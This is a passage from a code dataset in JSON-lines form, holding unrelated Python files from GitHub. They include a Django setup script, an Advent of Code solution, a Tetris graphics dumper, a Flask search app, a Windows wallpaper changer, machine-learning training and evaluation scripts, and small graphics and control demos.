= [(dirpath.replace(package + os.sep, '', 1), filenames)\n for dirpath, dirnames, filenames in os.walk(package)\n if not os.path.exists(os.path.join(dirpath, '__init__.py'))]\n\n filepaths = []\n for base, filenames in walk:\n filepaths.extend([os.path.join(base, filename)\n for filename in filenames])\n return {package: filepaths}\n\n\nsetup(\n name='django-tasix',\n version='0.3.0',\n url='https://github.com/muminoff/django-tasix',\n license='BSD',\n description='Simple django app to block non-tasix ip adresses',\n long_description=open('Readme.md', 'r').read(),\n author='Sardor Muminov',\n author_email='smuminov@gmail.com',\n packages=get_packages('tasix'),\n package_data=get_package_data('.'),\n install_requires=[\n 'netaddr',\n ],\n tests_require=['django'],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Internet :: WWW/HTTP',\n ]\n)\n","repo_name":"muminoff/django-tasix","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"17886532544","text":"from collections import defaultdict\nfrom typing import Dict, List, Tuple\n\n\nclass Vent:\n def __init__(self, start: Tuple[int], end: Tuple[int]):\n self.start = start\n self.end = end\n self.path = self._get_path()\n\n def _get_path(self) -> List[Tuple[int]]:\n vector = [\n 1 if self.end[0] > self.start[0] else -1 if self.end[0] < self.start[0] else 0,\n 1 if self.end[1] > self.start[1] else -1 if self.end[1] < self.start[1] else 0,\n ]\n point = self.start\n path = [point]\n while point != self.end:\n point = (point[0] + vector[0], point[1] + vector[1])\n path.append(point)\n return path\n\n @property\n def is_straight(self) -> bool:\n return self.start[0] == self.end[0] or self.start[1] == self.end[1]\n\n\ndef get_vents_map(vents: List[Vent]) -> Dict[Tuple[int], int]:\n sea_map = defaultdict(int)\n for vent in vents:\n for point in vent.path:\n sea_map[point] += 1\n return sea_map\n\n\ndef main():\n vents = list()\n with open(\"day_5_input.txt\") as f:\n for line in f.readlines():\n p0, p1 = line.split(\" -> \")\n vent = Vent(\n tuple(int(n) for n in p0.split(\",\")),\n tuple(int(n) for n in p1.split(\",\")),\n )\n vents.append(vent)\n\n straight_vents = [vent for vent in vents if vent.is_straight]\n sea_map = get_vents_map(straight_vents)\n print(f\"Part 1: {sum(1 for n in sea_map.values() if n > 1)}\")\n\n sea_map = get_vents_map(vents)\n print(f\"Part 2: {sum(1 for n in sea_map.values() if n > 1)}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Javitronxo/AdventOfCode","sub_path":"2021/day_5.py","file_name":"day_5.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"73722833797","text":"import png\n\n# Decode a 2bpp encoded tile to a list of 8*8 pixels\ndef tile_2bpp_to_pixels(tile):\n assert len(tile) == 16\n\n pixels = []\n\n for row in range(8):\n hi = tile[row*2 + 1]\n lo = tile[row*2]\n\n for col in reversed(range(8)):\n pixels += [3 - (((hi*2) >> col & 0b10) + (lo >> col & 0b01))]\n\n return pixels\n\ndef tile_1bpp_to_pixels(tile):\n assert len(tile) == 8\n\n pixels = []\n\n for row in range(8):\n byte = tile[row]\n\n for col in reversed(range(8)):\n pixels += [1 - ((byte >> col) & 0b1)]\n\n return pixels\n\ndef dump_tiles(name, address, tile_count, oneBPP=False):\n off = address\n\n if oneBPP == False:\n image = rom[off: off + tile_count*16]\n else:\n image = rom[off: off + tile_count*8]\n\n tile_width = 16\n # Round up\n tile_height = (tile_count + tile_width - 1) // tile_width\n\n width = tile_width * 8\n height = tile_height * 8\n\n pixelmap = [[1 if oneBPP else 3 for _ in range(width)] for _ in range(height)]\n\n for i in range(tile_count):\n x = (i % tile_width) * 8\n y = (i // tile_width) * 8\n if oneBPP == False:\n pixels = tile_2bpp_to_pixels(image[i*16: i*16 + 16])\n else:\n pixels = tile_1bpp_to_pixels(image[i* 8: i* 8 + 8])\n\n for py in range(8):\n for px in range(8):\n pixelmap[y+py][x+px] = pixels[py*8 + px]\n\n\n f = open(\"gfx/%s.png\" % name, \"wb\")\n w = png.Writer(tile_width * 8, tile_height * 8, greyscale=True, bitdepth=1 if oneBPP else 2)\n w.write(f, pixelmap)\n\nif __name__ == \"__main__\":\n with open(\"baserom.gb\", \"rb\") as f:\n rom = f.read()\n\n dump_tiles(\"font\", 0x415F, 39, oneBPP=True)\n dump_tiles(\"copyrightandtitlescreen\", 0x415F + 39 * 8, 119, oneBPP=False)\n dump_tiles(\"configandgameplay\", 0x323F, 197, oneBPP=False)\n dump_tiles(\"multiplayerandburan\", 0x55AC, 207, oneBPP=False)\n","repo_name":"kaspermeerts/tetris","sub_path":"dump_gfx.py","file_name":"dump_gfx.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35737738464","text":"from flask import Flask, render_template, request\nfrom logging.handlers import RotatingFileHandler\nfrom elasticsearch import Elasticsearch\nfrom datetime import datetime\nimport logging\n\napp = Flask(__name__)\napp.debug = True\nes = Elasticsearch('127.0.0.1', port=9200)\nres = {}\nrelevant_ids = []\nsearch_term = \"\"\n\n\n\n@app.route('/')\ndef home():\n return render_template(\"search.html\")\n\n\n@app.route('/search/results', methods=['POST'])\ndef search_request():\n global search_term\n if request.values.get('docid'):\n id = request.values.get('docid')\n checked = request.values.get('checked')\n if checked=='true':\n relevant_ids.append(id)\n app.logger.info(str(datetime.now()) + \": \" + \"Marked relevant: \" + id)\n else:\n relevant_ids.remove(id)\n app.logger.info(str(datetime.now()) + \": \" + \"Marked irrelevant: \" + id)\n print('relevant ids: ', relevant_ids)\n else:\n search_term = request.form[\"input\"]\n global res\n res = es.search(\n index=\"aquaint\",\n size=1000,\n body={\n \"query\": {\n \"multi_match\" : {\n \"query\": search_term,\n \"fields\": [\n \"headline\",\n \"body\"\n ]\n }\n }\n }\n\n )\n app.logger.info(str(datetime.now()) + \": Entered query: \" + search_term)\n # res = es.search(index=\"test-index\", body={\"query\": {\"match_all\": {}}})\n print(\"Got %d Hits:\" % res['hits']['total'])\n return render_template('results.html', res=res, search_term=search_term, relevant_ids=relevant_ids )\n\n\n@app.route('/view/')\ndef view_result(docid):\n res = es.search(\n index=\"aquaint\",\n size=1,\n body={\n \"query\": {\n \"match\": {\n \"_id\": docid\n }\n }\n }\n )\n result = res['hits']['hits'][0]\n if type(result['_source']['body']) is list:\n result['_source']['body'] = \" \".join(str(x) for x in result['_source']['body'])\n\n result['_source']['body'] = result['_source']['body'].replace('

', '')\n result['_source']['body'] = result['_source']['body'].replace('

', '')\n app.logger.info(str(datetime.now()) + \": Clicked docid: \" + docid)\n return render_template('view.html', res=result)\n\n\nif __name__ == '__main__':\n app.secret_key = 'mysecret'\n handler = RotatingFileHandler('username.log', maxBytes=10000, backupCount=1)\n handler.setLevel(logging.INFO)\n app.logger.addHandler(handler)\n app.run(host='0.0.0.0', port=5000)","repo_name":"dvantetering/information-retrieval-group-14","sub_path":"search-engine/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39174097790","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier, export_graphviz\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import roc_auc_score\nimport matplotlib.pyplot as plt\n\ndata = pd.read_csv(\"spambase.csv\", header=None)\ndata.fillna(0)\nprint(\"There are {0} instances and {1} features in the dataset.\".format(data.shape[0], data.shape[1]))\nprint(\"There are {0} regular emails in the dataset.\".format(len(data.loc[data[57] == 0])))\nprint(\"There are {0} spam emails in the dataset.\".format(len(data.loc[data[57] == 1])))\n\nX_train, X_test, y_train, y_test = train_test_split(data.iloc[:, 0:57], data[57], test_size=0.2, random_state=6740)\n\ntree = DecisionTreeClassifier(max_depth=20)\ntree.fit(X_train, y_train)\nscore = tree.score(X_test, y_test)\nprint(\"Test accuracy of decision tree:\", round(score, 4))\n# export_graphviz(tree, out_file=\"tree.dot\")\ny_pred_tree = tree.predict_proba(X_test)[:, 1]\nprint(\"Decision tree AUC:\", round(roc_auc_score(y_test, y_pred_tree), 4))\n\nforest = RandomForestClassifier(n_estimators=100, max_depth=20)\nforest.fit(X_train, y_train)\nscore_forest = forest.score(X_test, y_test)\nprint(\"Test accuracy of random forest:\", round(score_forest, 4))\ny_pred_rf = forest.predict_proba(X_test)[:, 1]\nprint(\"Random forest AUC:\", round(roc_auc_score(y_test, y_pred_rf), 4))\n\ntreeSize = range(2, 25)\nscores = []\nfor i in treeSize:\n tree = DecisionTreeClassifier(max_depth=i)\n tree.fit(X_train, y_train)\n y_pred_tree = tree.predict_proba(X_test)[:, 1]\n auc = roc_auc_score(y_test, y_pred_tree)\n scores.append(auc)\n\nplt.style.use('seaborn-whitegrid')\nplt.plot(treeSize, scores)\nplt.xlabel(\"Tree Size\")\nplt.ylabel(\"AUC\")\nplt.show()\n","repo_name":"josephhenn/code-samples","sub_path":"Machine Learning/Spam_Detection_Example.py","file_name":"Spam_Detection_Example.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20944933504","text":"class RolloutBuffer:\n \"\"\"\n Rollout Buffer: Each element is a list of lists\n where inner lists corresponds to a single trajectory\n \"\"\"\n\n def __init__(self):\n self.states = []\n self.messages = []\n self.actions = []\n self.logprobs = []\n self.rewards = []\n self.returns = []\n self.terminals = []\n self.hindsight_logprobs = []\n self.hindsight_ratios = []\n\n def clear(self):\n del self.states[:]\n del self.messages[:]\n del self.actions[:]\n del self.logprobs[:]\n del self.rewards[:]\n del self.returns[:]\n del self.terminals[:]\n del self.hindsight_logprobs[:]\n del self.hindsight_ratios[:]\n\n def __len__(self):\n return len(self.states)\n","repo_name":"skandavaidyanath/credit-assignment","sub_path":"src/ppo/buffer.py","file_name":"buffer.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37936681574","text":"# -*- mode: python ; coding: utf-8 -*-\r\nimport os, shutil, psutil, win32gui, win32con, win32api, requests\r\nfrom tkinter import ttk\r\nfrom tkinter import *\r\nfrom tkinter.messagebox import *\r\nfrom threading import Timer\r\nfrom PIL import Image\r\nfrom pystray import MenuItem, Icon\r\n\r\ncancel = False\r\npause = False\r\nminute = 15\r\nsort = \"pc\"\r\nct = win32api.GetConsoleTitle()\r\nhd = win32gui.FindWindow(0, ct) \r\nwin32gui.ShowWindow(hd, 0)\r\n\r\nwindow = Tk()\r\nwindow.iconphoto(True, PhotoImage(file=\"./data/icon.ico\"))\r\nwindow.withdraw()\r\n\r\ndef main():\r\n global cancel, minute\r\n if cancel == True:\r\n cancel = True\r\n os._exit(0)\r\n if not pause:\r\n change_img()\r\n Timer(minute * 60, main).start()\r\n\r\ndef change_img(icon=False):\r\n if icon:\r\n icon.notify(\"壁纸手动更换成功~\", \"提示\")\r\n api = \"https://imgapi.lie.moe/random?type=text&sort=\" + sort\r\n path = \"./data/pic/\"\r\n headers = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE\",\r\n }\r\n try:\r\n os.makedirs(path, exist_ok=True)\r\n url = str(requests.get(api, headers=headers).content, \"utf-8\")\r\n imgPath = path + os.path.basename(url)\r\n if os.path.exists(imgPath):\r\n if os.path.getsize(imgPath) <= 4096:\r\n os.remove(imgPath)\r\n else:\r\n set_wallpaper(os.path.abspath(imgPath))\r\n return\r\n res = requests.get(url)\r\n with open(imgPath, \"wb\") as f:\r\n f.write(res.content)\r\n if os.path.getsize(imgPath) <= 4096:\r\n os.remove(imgPath)\r\n showerror(\"错误\", \"图片下载失败\")\r\n set_wallpaper(os.path.abspath(imgPath))\r\n except:\r\n showerror(\"错误\", \"更换壁纸失败\")\r\n\r\ndef set_pause(icon=False):\r\n global pause\r\n if pause:\r\n change_img()\r\n icon.notify(\"已继续播放随机壁纸~\", \"提示\")\r\n else:\r\n icon.notify(\"已暂停播放随机壁纸~\", \"提示\")\r\n pause = not pause\r\n\r\ndef edit_minute(icon=False):\r\n global cancel, minute\r\n def on_submit():\r\n global minute\r\n try:\r\n minute = int(entry.get())\r\n if minute < 1:\r\n minute = 15\r\n showwarning(\"警告\", \"数据不合法,自动修改为默认值(15分钟)\")\r\n except:\r\n minute = 15\r\n showwarning(\"警告\", \"数据不合法,自动修改为默认值(15分钟)\")\r\n inputer.quit()\r\n inputer.destroy()\r\n showinfo(\"成功\", \"配置完成!程序将创建一个托盘图标,您可通过该图标切换壁纸或退出程序\")\r\n def on_close():\r\n global cancel\r\n inputer.quit()\r\n inputer.destroy()\r\n showerror(\"错误\", \"您已手动退出配置流程\")\r\n if not icon:\r\n cancel = True\r\n os.remove(\"./data/pid\")\r\n os._exit(0)\r\n inputer = Tk()\r\n inputer.title(\"请输入壁纸切换周期(分钟)\")\r\n screenWidth = inputer.winfo_screenwidth()\r\n screenHeight = inputer.winfo_screenheight()\r\n width = 360\r\n height = 60\r\n left = (screenWidth - width) / 2\r\n top = (screenHeight - height) / 2\r\n inputer.geometry(\"%dx%d+%d+%d\" % (width, height, left, top))\r\n inputer.resizable(False, False)\r\n entry = Entry(inputer, width=40)\r\n entry.pack(side=LEFT)\r\n button = ttk.Button(inputer, text=\"提交\", command=on_submit)\r\n button.pack(side=RIGHT)\r\n inputer.protocol(\"WM_DELETE_WINDOW\", on_close)\r\n inputer.mainloop()\r\n\r\ndef clean_cache(icon=False):\r\n if askquestion(\"提示\", \"确定删除全部的壁纸缓存吗?此操作不可恢复\"):\r\n shutil.rmtree(\"./data/pic\")\r\n showinfo(\"成功\", \"已成功删除全部壁纸缓存\")\r\n\r\ndef on_exit(icon=False):\r\n global cancel\r\n cancel = True\r\n icon.stop()\r\n os.remove(\"./data/pid\")\r\n os._exit(0)\r\n\r\n# style: 2拉伸, 0居���, 6适应, 10填充, 0平铺\r\ndef set_wallpaper(imgPath, style=10):\r\n if style == 0:\r\n tile = \"1\"\r\n else:\r\n tile = \"0\"\r\n regKey = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, \"Control Panel\\\\Desktop\", 0, win32con.KEY_SET_VALUE)\r\n win32api.RegSetValueEx(regKey, \"WallpaperStyle\", 0, win32con.REG_SZ, str(style))\r\n win32api.RegSetValueEx(regKey, \"TileWallpaper\", 0, win32con.REG_SZ, tile)\r\n win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, imgPath, win32con.SPIF_SENDWININICHANGE)\r\n win32api.RegCloseKey(regKey)\r\n\r\nif __name__ == \"__main__\":\r\n os.makedirs(\"./data\", exist_ok=True)\r\n try:\r\n with open(\"./data/pid\", \"r\") as f:\r\n if int(f.read()) in psutil.pids():\r\n cancel = True\r\n showerror(\"错误\", \"程序已在运行,请勿重复运行本程序\")\r\n os._exit(0)\r\n raise Exception(\"Success\")\r\n except:\r\n with open(\"./data/pid\", \"w\") as f:\r\n f.write(str(os.getpid()))\r\n try:\r\n with open(\"./sort.txt\", \"r\") as f:\r\n sort = f.read()\r\n except:\r\n pass\r\n edit_minute()\r\n main()\r\n menu = (\r\n MenuItem(text=\"更换壁纸\", action=change_img),\r\n MenuItem(text=\"暂停/继续\", action=set_pause),\r\n MenuItem(text=\"修改周期\", action=edit_minute),\r\n MenuItem(text=\"删除缓存\", action=clean_cache),\r\n MenuItem(text=\"退出\", action=on_exit),\r\n )\r\n image = Image.open(\"./data/icon.ico\")\r\n icon = Icon(\"name\", image, \"萌える嘘随机壁纸\", menu)\r\n icon.run()\r\n","repo_name":"ZiAzusa/random-wallpaper-py","sub_path":"wallpaper.py","file_name":"wallpaper.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"25278109072","text":"from graphics import *\nfrom numpy import *\n\n\ndef draw(wrx, wry, wlx, wly, vrx, vry, vlx, vly, a, b, c, x, y, z):\n\n # initialization\n win = GraphWin(\"window to viewport\", 500, 500)\n\n # window\n\n window = Rectangle(Point(wrx, wry), Point(wlx, wly))\n window.setFill(\"gray\")\n window.draw(win)\n\n # viewport\n\n view = Rectangle(Point(vlx, vly), Point(vrx, vry))\n view.setFill(\"blue\")\n view.draw(win)\n\n # points\n p1 = Point(a[0][0], a[1][0])\n p2 = Point(b[0][0], b[1][0])\n p3 = Point(c[0][0], c[1][0])\n p4 = Point(x[0][0], x[1][0])\n p5 = Point(y[0][0], y[1][0])\n p6 = Point(z[0][0], z[1][0])\n\n # objects from points\n obj = Polygon(p1, p2, p3)\n obj2 = Polygon(p4, p5, p6)\n obj.draw(win)\n obj.setFill(\"red\")\n obj2.draw(win)\n obj2.setFill(\"yellow\")\n\n # closing\n\n win.getMouse()\n win.close()\n\n\ndef w2v(wrx, wry, wlx, wly, vrx, vry, vlx, vly, a):\n sx = 1 / float((wlx - wrx) / (vlx - vrx))\n sy = 1 / float((wly - wry) / (vly - vry))\n # translate to origin\n\n transOP = array([1, 0, -wrx, 0, 1, -wry, 0, 0, 1]).reshape(3, 3)\n\n # scale to viewport\n\n scalOP = array([sx, 0, 0, 0, sy, 0, 0, 0, 1]).reshape(3, 3)\n\n theta = scalOP.dot(transOP)\n finalOP = theta.dot(a)\n return finalOP\n\n\nif __name__ == \"__main__\":\n # original coordinates of te 2d object\n\n alpha = array([150, 150, 1]).reshape(3, 1)\n beta = array([250, 150, 1]).reshape(3, 1)\n gamma = array([200, 200, 1]).reshape(3, 1)\n\n # window to viewport transformation\n\n a1 = w2v(100, 100, 300, 300, 0, 0, 100, 100, alpha)\n b1 = w2v(100, 100, 300, 300, 0, 0, 100, 100, beta)\n c1 = w2v(100, 100, 300, 300, 0, 0, 100, 100, gamma)\n print(\"original \\n{}\\n{}\\n{} \\n ported \\n{}\\n{}\\n{}\".format(alpha, beta, gamma, a1, b1, c1))\n\n # drawing with all transformed coordinates as well original to show the transformation\n\n draw(100, 100, 300, 300, 0, 0, 100, 100, alpha, beta, gamma, a1, b1, c1)","repo_name":"overrkill/PyVision","sub_path":"window2view.py","file_name":"window2view.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"34930539330","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import http\nfrom odoo.http import request\n\n\n\nclass OpenAcademy(http.Controller):\n\n @http.route([\"/session\",\n \"/session/session_id/\"], type=\"http\", auth=\"public\", website=True, methods=['GET'])\n def session(self, session_id=0,**post):\n values = {\n \"session_ids\": []\n }\n if session_id:\n values.update({'session_ids': request.env[\"openacademy.session\"].sudo().search([('id', \"=\", session_id)])})\n return request.render(\"openacademy.session_page\", values)\n #request.redirect(\"/\")\n values.update({\n \"session_ids\": request.env[\"openacademy.session\"].sudo().search([])\n })\n return request.render(\"openacademy.sessions\", values)","repo_name":"jam-odoo/odoo-technical-training","sub_path":"2017_v10/v10_jan_17/openacademy/controller/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"18012201183","text":"import torch\nimport auraloss\n\nfrom data import LibriMixDataset\n\n\nclass CNN(torch.nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n # Simple 3 layer CNN\n self.model = torch.nn.Sequential(\n torch.nn.Conv1d(1, 16, kernel_size=3, padding=1, bias=False),\n torch.nn.BatchNorm1d(16),\n torch.nn.ReLU(),\n torch.nn.Conv1d(16, 16, kernel_size=3, padding=1, bias=False),\n torch.nn.BatchNorm1d(16),\n torch.nn.ReLU(),\n torch.nn.Conv1d(16, 1, kernel_size=3, padding=1, bias=False),\n torch.nn.Tanh(),\n )\n\n def forward(self, x):\n return self.model(x)\n\n\nnet = CNN()\ncriterion = auraloss.time.LogCoshLoss()\noptimizer = torch.optim.Adam(net.parameters(), lr=0.001)\n\n# setup dataset\ndataset = LibriMixDataset(\"data/MiniLibriMix\")\ndataloader = torch.utils.data.DataLoader(dataset, batch_size=16)\n\nfor epoch in range(2): # loop over the dataset multiple times\n\n running_loss = 0.0\n for bidx, batch in enumerate(dataloader, 0):\n # get the inputs; data is a list of [inputs, labels]\n s1, _, noise, _ = batch\n s1_noisy = s1 + noise\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n s1_clean = net(s1_noisy)\n loss = criterion(s1_clean, s1)\n loss.backward()\n optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n\n print(\"[%d, %5d] loss: %.3e\" % (epoch + 1, bidx + 1, running_loss / 2000))\n running_loss = 0.0\n\nprint(\"Finished Training\")\n","repo_name":"timecatband/diffusing-with-the-dead","sub_path":"old2/auraloss/tests/test_nn.py","file_name":"test_nn.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3617395341","text":"import numpy as np\r\nimport sympy\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom abc import ABC, abstractmethod\r\n\r\nfrom plant import Tank\r\nfrom controller import ProportionalController\r\n\r\n\r\nclass Error:\r\n def __init__(self, maxsize=5):\r\n self.queue = []\r\n self.maxsize = maxsize\r\n self.std = None\r\n\r\n def update(self, val):\r\n if len(self.queue) >= self.maxsize:\r\n self.queue.pop(0)\r\n\r\n self.queue.append(val)\r\n self.std = np.std(self.queue)\r\n\r\n def __mul__(self, other):\r\n return self.queue[-1] * other\r\n\r\n\r\nclass System:\r\n def __init__(self, reference, tf, controller=1, feedback=1, sampling_time: float = None):\r\n self.__input = reference\r\n self.__error = Error()\r\n self.__controller = controller\r\n self.__feedback = feedback\r\n self.__sampling_time = sampling_time\r\n self.__tf = tf\r\n self._record = []\r\n\r\n def forward(self, error):\r\n self.__error.update(error * self.__feedback)\r\n control_signal = self.__error * self.__controller\r\n output_s = control_signal * self.__tf\r\n output_t = control_signal\r\n self._record.append(s)\r\n\r\n def is_stable(self):\r\n pass\r\n\r\n\r\ndef run(ref, g, transf_func=lambda s: g(s) / (1 + g(s))):\r\n result = np.empty(0)\r\n output = 0\r\n reference = 3\r\n\r\n k = 1\r\n i = 0\r\n\r\n system.forward()\r\n\r\n t = np.arange(len(result))\r\n plt.plot(t, result)\r\n plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n t, s = sympy.symbols('t, s')\r\n controller = ProportionalController(param=1)\r\n plant = Tank()\r\n system = System(controller=controller, plant=plant)\r\n\r\n ref = 3\r\n\r\n","repo_name":"KhanhNgoDuy/Control-Simulation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4731205909","text":"import torch.nn as nn\r\nimport torch\r\nfrom torch.utils.data import DataLoader, Dataset\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport os\r\nimport pickle\r\n\r\nimport nnets\r\nfrom ndata import DATAMAP, STATIC_POINTS, grid_dataset, grid_seq_dataset, reverse_scale_outputs\r\nfrom loss_functions import *\r\nfrom constants_jo import *\r\nfrom ntrain_lstm import PLOT_DIRS\r\nfrom ntrain import loss_masked2\r\nfrom parsing import TestParameters\r\nfrom neval import load_model_architecture, load_model, plot_pm_heatmaps, OUTPUT_DIRS\r\n\r\nfrom model_names import ALL_DATA_DIR, INTERVALS, CELL_SIZES, ROOT_MODEL_DIR\r\n\r\nuse_cuda = torch.cuda.is_available()\r\ndevice = torch.device('cuda:0' if use_cuda else 'cpu')\r\nprint(device)\r\ntorch.manual_seed(25)\r\n\r\ndef save_predicted_data(x, y, out, model_name, epoch, suffix, d, index):\r\n '''\r\n saves the input, target and predicted values for pm to output directory\r\n '''\r\n directory = OUTPUT_DIRS[model_name]\r\n np.save(os.path.join(directory, f'{model_name}_epoch{epoch}_{suffix}_{d}_{index}_x.npy'), x)\r\n np.save(os.path.join(directory, f'{model_name}_epoch{epoch}_{suffix}_{d}_{index}_y.npy'), y)\r\n np.save(os.path.join(directory, f'{model_name}_epoch{epoch}_{suffix}_{d}_{index}_out.npy'), out)\r\n \r\nif __name__ == '__main__':\r\n \r\n ### data / params ###\r\n params = TestParameters()\r\n eval_args = params.args # parse model parameters from command line\r\n print(eval_args)\r\n \r\n model_name = eval_args['model_name']\r\n args = load_model_architecture(model_name, eval_args['save_suffix'])\r\n print(args)\r\n \r\n static_points = np.load(STATIC_POINTS[model_name])\r\n seq_len = args['seq_len']\r\n directories = DATAMAP[model_name]\r\n data = {}\r\n t = eval_args['data']\r\n data[t] = grid_seq_dataset(directories[t], seq_len, static_points=static_points, pm_cols=(0,), normalise=False)\r\n if args['normalise']:\r\n data['train'] = grid_dataset(directories['train'], static_points=static_points, pm_cols=(0,), normalise=True)\r\n data[t].normalise(data['train'].get_pm_max(), data['train'].get_pm_min(), data['train'].get_humidity_max(), data['train'].get_humidity_min())\r\n print(f'Size of {t} data: {len(data[t])}')\r\n \r\n example = data[t][0]\r\n print(f'Example x data point has shape {example[\"x\"].size()}')\r\n print(f'Example y data point has shape {example[\"y\"].size()}')\r\n \r\n batch_size = 1\r\n loader = DataLoader(data[t], batch_size=batch_size, shuffle=False, num_workers=0)\r\n \r\n in_channels, height, width = example['x'].size(1), example['x'].size(2), example['x'].size(3)\r\n out_channels = example['y'].size(0)\r\n \r\n model = nnets.CRNN(height, width, in_channels, out_channels, encoded_size=args['encoded_size'],\r\n encode_channels=args['encode_channels'], encode_conv_layers=args['encode_conv_layers'], encode_kernel_sizes=args['encode_kernel_sizes'], pooling=args['pooling'], pool_sizes=args['pool_sizes'], encode_conv_activation=args['encode_conv_activation'], encode_batch_norm=args['encode_batch_norm'], encode_skip=args['encode_skip'],\r\n encode_fc_layers=args['encode_fc_layers'], encode_fc_neurons=args['encode_fc_neurons'], encode_fc_activation = args['encode_fc_activation'], encode_dropout=args['encode_dropout'],\r\n decode_channels=args['decode_channels'], decode_conv_layers=args['decode_conv_layers'], decode_kernel_sizes=args['decode_kernel_sizes'], upsample_scales=args['upsample_scales'], decode_conv_activation=args['decode_conv_activation'], decode_batch_norm=args['decode_batch_norm'], decode_skip=args['decode_skip'],\r\n decode_fc_layers=args['decode_fc_layers'], decode_fc_neurons=args['decode_fc_neurons'], decode_fc_activation = args['decode_fc_activation'], decode_dropout=args['decode_dropout'],\r\n lstm_hidden_size=args['lstm_hidden_size'], lstm_layers=args['lstm_layers'], lstm_bias=args['lstm_bias'], lstm_dropout=args['lstm_dropout'], bidirectional=args['bidirectional']).to(device)\r\n epoch = eval_args['epoch']\r\n model = load_model(model, model_name, epoch, eval_args['save_suffix'])\r\n model.eval()\r\n \r\n loss_fn = nn.MSELoss(reduction='mean')\r\n avg_loss = 0.0\r\n mape_losses = []\r\n mae_losses = []\r\n \r\n with torch.no_grad(): # don't track these gradients\r\n for i, d in enumerate(loader):\r\n x, y = d['x'].to(device).float(), d['y'].to(device).float()\r\n x = x.permute(1,0,2,3,4) # time first batch second\r\n out = model(x) # forward pass\r\n loss = loss_masked2(out, y)\r\n print(f'Loss for {i} datapoint: {loss.item()}')\r\n avg_loss += loss.item()\r\n mape_calc = mape_masked(y, out)\r\n mae_calc = mae_masked(y, out)\r\n mape_losses.extend(mape_masked(y, out, return_avg=False))\r\n mae_losses.extend(mae_masked(y, out, return_avg=False))\r\n print(f'MAPE for {i} datapoint: {mape_calc}')\r\n \r\n # save to file for further analysis (scale back to original values using training max and mins)\r\n x_scales = []\r\n if args['normalise']:\r\n for j in range(x.size(0)): # each timestep\r\n x_scale, y_scale, out_scale = reverse_scale_outputs(x[j].cpu().numpy()[0], y.cpu().numpy()[0], out.cpu().numpy()[0], \r\n data['train'].get_pm_max(), data['train'].get_pm_min(), data['train'].get_humidity_max(), data['train'].get_humidity_min())\r\n x_scales.append(x_scale)\r\n else:\r\n for j in range(x.size(0)): # each timestep\r\n x_scale, y_scale, out_scale = x[j].cpu().numpy()[0], y.cpu().numpy()[0], out.cpu().numpy()[0]\r\n x_scales.append(x_scale)\r\n \r\n x_scales = np.stack(x_scales)\r\n save_predicted_data(x_scales, y_scale, out_scale, model_name, epoch, eval_args['save_suffix'], t, i)\r\n \r\n if eval_args['plot']:\r\n for k in range(y.size(1)): # pm dims\r\n plot_filename = os.path.join(PLOT_DIRS[model_name], f'{model_name}_epoch{epoch}_{eval_args[\"save_suffix\"]}_{t}_data{i}_heatmap{k}.png')\r\n target = y_scale[k]\r\n pred = out_scale[k]\r\n vmax = max(target.max(), pred.max())\r\n plot_pm_heatmaps(target, pred, filename=plot_filename, vmax=vmax)\r\n \r\n avg_loss = avg_loss / len(data[t]) # get avg\r\n # mape_loss = mape_loss / len(data[t])\r\n \r\n all_mape = np.mean(mape_losses)\r\n all_mae = np.mean(mae_losses)\r\n print(f'{t} average total loss: {avg_loss}')\r\n print(f'{t} average MAPE: {all_mape}')\r\n print(f'{t} average MAE: 